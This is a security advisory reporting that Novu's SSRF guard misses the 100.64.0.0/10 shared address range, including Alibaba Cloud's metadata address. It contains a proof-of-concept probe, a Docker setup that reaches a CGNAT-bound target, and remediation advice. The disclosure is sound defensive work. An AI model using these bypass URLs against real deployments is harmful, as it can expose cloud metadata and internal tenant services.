GHSA-vg6v-j97m-h5xq

Hi Novu team,

Reporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.

## Summary

Novu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.

## Affected code

Guard:

- `libs/application-generic/src/utils/ssrf-url-validation.ts` - `isPrivateIp(...)` regex list at lines 9-28 - DNS resolution and address validation at lines 55-72

Product call-sites:

- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request. - Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.

HTTP client:

- `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.

## Root cause

The SSRF guard uses a hand-written regex deny-list:

```ts /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ```

This list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.

## Reproduction — Part 1: unit-level probe (no Docker required)

Save the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.

### `novu_ssrf_guard_probe.js`

```javascript const dns = require('dns/promises');

function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); }

async function validateUrlSsrf(url) { let parsed; try { parsed = new URL(url); } catch { return 'Invalid URL format.'; } if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') { return `URL scheme "${parsed.protocol}" is not allowed.`; } const hostname = parsed.hostname.toLowerCase(); const blockedHostnames = ['localhost', 'metadata.google.internal']; if (blockedHostnames.includes(hostname)) { return `Requests to "${hostname}" are not allowed.`; } let addresses; try { addresses = await dns.lookup(hostname, { all: true }); } catch { return `Unable to resolve hostname "${hostname}".`; } for (const { address } of addresses) { if (isPrivateIp(address)) { return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`; } } return null; }

async function main() { for (const url of [ 'http://127.0.0.1/', 'http://0.0.0.0/', 'http://0.0.0.1/', 'http://169.254.169.254/', 'http://100.64.0.1/', 'http://100.100.100.200/', 'http://224.0.0.1/', 'http://[fd00::1]/', 'http://[64:ff9b::7f00:1]/', 'http://[::ffff:100.64.0.1]/', 'http://8.8.8.8/', ]) { console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' })); } }

main().catch((e) => { console.error(e); process.exitCode = 1; }); ```

### Expected output (relevant lines)

```json {"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."} {"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."} {"url":"http://100.64.0.1/","verdict":"ALLOW"} {"url":"http://100.100.100.200/","verdict":"ALLOW"} {"url":"http://8.8.8.8/","verdict":"ALLOW"} ```

The 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse.

## Reproduction — Part 2: end-to-end Docker CGNAT proof

Save the three files below into a directory, then:

```bash docker compose up --abort-on-container-exit --exit-code-from novu-client ```

This mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The "target" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.

### `docker-compose.yml`

```yaml services: cgnat-target: image: python:3.12-alpine command: python -u /srv/target.py volumes: - ./target.py:/srv/target.py:ro networks: novu-cgnat: ipv4_address: 100.64.0.20

novu-client: image: node:22-alpine command: node /srv/client.js volumes: - ./client.js:/srv/client.js:ro depends_on: - cgnat-target networks: novu-cgnat: ipv4_address: 100.64.0.10

networks: novu-cgnat: ipam: config: - subnet: 100.64.0.0/24 ```

### `target.py`

```python from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler): def do_POST(self): print(f"[target] {self.client_address[0]} POST {self.path}", flush=True) self.send_response(200) self.send_header("content-type", "application/json") self.end_headers() self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n') def log_message(self, fmt, *args): return

HTTPServer(("100.64.0.20", 8080), Handler).serve_forever() ```

### `client.js`

```javascript const dns = require('dns/promises');

function isPrivateIp(ip) { const privateRanges = [ /^0\.0\.0\.0$/i, /^127\./, /^10\./, /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./, /^::ffff:127\./i, /^::ffff:10\./i, /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i, /^::ffff:192\.168\./i, /^::ffff:169\.254\./i, /^::1$/, /^fc00:/i, /^fe80:/i, ]; return privateRanges.some((range) => range.test(ip)); }

async function validateUrlSsrf(url) { const parsed = new URL(url); if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme'; if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) { return 'blocked hostname'; } const addresses = await dns.lookup(parsed.hostname, { all: true }); for (const { address } of addresses) { if (isPrivateIp(address)) return `blocked ${address}`; } return null; }

async function waitForTarget(url) { for (let attempt = 0; attempt < 20; attempt += 1) { try { const r = await fetch(url, { method: 'POST' }); await r.text(); return; } catch (_e) { await new Promise((resolve) => setTimeout(resolve, 250)); } } }

async function main() { const url = 'http://cgnat-target:8080/workflow-http-step'; const addresses = await dns.lookup('cgnat-target', { all: true }); const validation = await validateUrlSsrf(url); console.log(JSON.stringify({ url, addresses, validation: validation ?? 'ALLOW' }));

if (validation) { process.exitCode = 2; return; }

await waitForTarget(url); const response = await fetch(url, { method: 'POST', headers: { 'content-type': 'application/json' }, body: JSON.stringify({ source: 'novu-http-request-step' }), }); const body = await response.text(); console.log(JSON.stringify({ status: response.status, body })); }

main().catch((e) => { console.error(e); process.exitCode = 1; }); ```

### Expected output

``` novu-client-1 | {"url":"http://cgnat-target:8080/workflow-http-step","addresses":[{"address":"100.64.0.20","family":4}],"validation":"ALLOW"} cgnat-target-1 | [target] 100.64.0.10 POST /workflow-http-step novu-client-1 | {"status":200,"body":"{\"marker\":\"NOVU_CGNAT_SSRF_OK\"}\n"} ```

The chain is:

1. Resolve hostname `cgnat-target` → `100.64.0.20` (a CGNAT address). 2. Run Novu's `validateUrlSsrf` against the URL — returns `ALLOW` because `100.64.0.0/10` is missing from `isPrivateIp`. 3. Send the actual server-side HTTP POST → reaches the CGNAT-bound target → response with marker `NOVU_CGNAT_SSRF_OK` is received.

## Impact

Any Novu feature that allows a user to configure an outbound HTTP URL and relies on `validateUrlSsrf` may still reach `100.64.0.0/10`. Impact is highest for:

- **Alibaba Cloud deployments**, where `http://100.100.100.200/latest/meta-data/` may expose instance metadata. - **Self-hosted deployments** where `100.64.0.0/10` routes to private infrastructure, service meshes, VPNs, carrier-grade NAT, or provider-side internal services. - **Multi-tenant deployments** where one tenant can configure workflow HTTP request steps or webhook filters that execute from shared worker/API infrastructure — cross-tenant SSRF primitive into provider-internal services.

## Suggested remediation

- Replace regex matching with IP parsing and CIDR classification, e.g. using `ipaddr.js` with `process(...)` to normalize IPv4-mapped IPv6. - Treat only globally reachable public IPs as allowed by default (`addr.range() === 'unicast'` after IPv4-mapped unwrap, or equivalent). - Explicitly deny all special-use ranges, including at least: - `0.0.0.0/8`, `10.0.0.0/8`, `100.64.0.0/10`, `127.0.0.0/8`, `169.254.0.0/16`, `172.16.0.0/12`, `192.168.0.0/16` - multicast (`224.0.0.0/4`), documentation (`192.0.2.0/24`, `198.51.100.0/24`, `203.0.113.0/24`, `2001:db8::/32`), benchmarking (`198.18.0.0/15`), reserved (`240.0.0.0/4`) - IPv6 ULA (`fc00::/7`), link-local (`fe80::/10`), loopback (`::1`), and the IPv4-mapped variants of all of the above - Add regression tests for: - `100.64.0.1`, `100.100.100.200` - hostnames resolving to those addresses - IPv4-mapped variants of denied IPv4 ranges (e.g., `::ffff:100.64.0.1`) - Consider connection-time validation or a guarded lookup agent so the actual request cannot resolve to a different IP than the preflight checked (DNS-rebinding TOCTOU mitigation).

## Notes

This report is intentionally scoped to the concrete `100.64.0.0/10` bypass. Additional missed ranges exist in the current regex guard (multicast `224.0.0.0/4`, broadcast `255.255.255.255`, benchmarking, documentation, `0.0.0.0/8` outside `/32`, and IPv4-mapped variants), but CGNAT is the highest-confidence real-world issue because it includes a known cloud metadata endpoint (`100.100.100.200` on Alibaba Cloud).